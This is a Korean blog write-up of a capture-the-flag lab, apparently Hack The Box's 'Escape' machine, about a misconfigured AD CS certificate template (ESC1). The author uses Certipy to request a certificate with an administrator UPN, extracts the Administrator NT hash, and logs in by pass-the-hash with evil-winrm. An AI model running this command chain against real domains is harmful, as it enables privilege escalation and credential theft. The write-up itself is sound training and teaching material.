💡 ESC1 공격이 가능한 케이스에서는 권한이 낮은 사용자가 임의 SAN을 사용하여 인증서를 요청할 수 있으며 권한이 낮은 사용자는 Kerberos 또는 SChannel을 통해 도메인의 모든 주체로 인증할 수 있다.

{
  ...
  ...
  ...
  "Certificate Templates": {
    "0": {
      "Template Name": "UserAuthentication",
      "Display Name": "UserAuthentication",
      "Certificate Authorities": [
        "sequel-DC-CA"
      ],
      "Enabled": true,
      "Client Authentication": true,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": true,
      "Certificate Name Flag": [
        "EnrolleeSuppliesSubject"
      ],
      "Enrollment Flag": [
        "PublishToDs",
        "IncludeSymmetricAlgorithms"
      ],
      "Private Key Flag": [
        "ExportableKey"
      ],
      "Extended Key Usage": [
        "Client Authentication",
        "Secure Email",
        "Encrypting File System"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Validity Period": "10 years",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "SEQUEL.HTB\\Domain Admins",
            "SEQUEL.HTB\\Domain Users",
            "SEQUEL.HTB\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "SEQUEL.HTB\\Administrator",
          "Write Owner Principals": [
            "SEQUEL.HTB\\Domain Admins",
            "SEQUEL.HTB\\Enterprise Admins",
            "SEQUEL.HTB\\Administrator"
          ],
          "Write Dacl Principals": [
            "SEQUEL.HTB\\Domain Admins",
            "SEQUEL.HTB\\Enterprise Admins",
            "SEQUEL.HTB\\Administrator"
          ],
          "Write Property Principals": [
            "SEQUEL.HTB\\Domain Admins",
            "SEQUEL.HTB\\Enterprise Admins",
            "SEQUEL.HTB\\Administrator"
          ]
        }
      },
      "[!] Vulnerabilities": {
        "ESC1": "'SEQUEL.HTB\\\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication"
      }
    }
  }
}

Attack

HackTricks - Misconfigured Certificate Templates - ESC1를 참고하여 Subject Alternative Name (SAN)을 administrator로하는 인증서를 요청한다.

┌──(root㉿kali)-[~/Desktop/Escape/certipy]
└─# certipy req -u 'Ryan.Cooper@sequel.htb' -p '비밀번호' -dc-ip '10.129.75.209' -target '10.129.75.209' -ns '10.129.75.209' -ca 'sequel-DC-CA' -template 'UserAuthentication' -upn 'administrator@sequel.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 12
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

인증서가 발급됐다면 DC와 시간을 동기화하여 원활한 커버로스 통신을 설정하고, 아래와 같이 발급된 인증서를 통해 Administrator계정의 해시를 추출한다.

┌──(root㉿kali)-[~/Desktop/Escape/certipy]
└─# certipy auth -pfx 'administrator.pfx' -u 'Administrator' -domain 'sequel.htb' -dc-ip '10.129.75.209' -ns '10.129.75.209'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b40000000000:000000000051e5f5e17e1e9f3e58f4ee

추출된 해시를 통해 PassTheHash로 Administrator 권한으로 접근이 가능하다.

┌──(root㉿kali)-[~/Desktop/Escape/certipy]
└─# evil-winrm -i '10.129.75.209' -u 'Administrator' -H 'a52f78e4c751e5f5e17e1e0000000000'

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
sequel\administrator

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글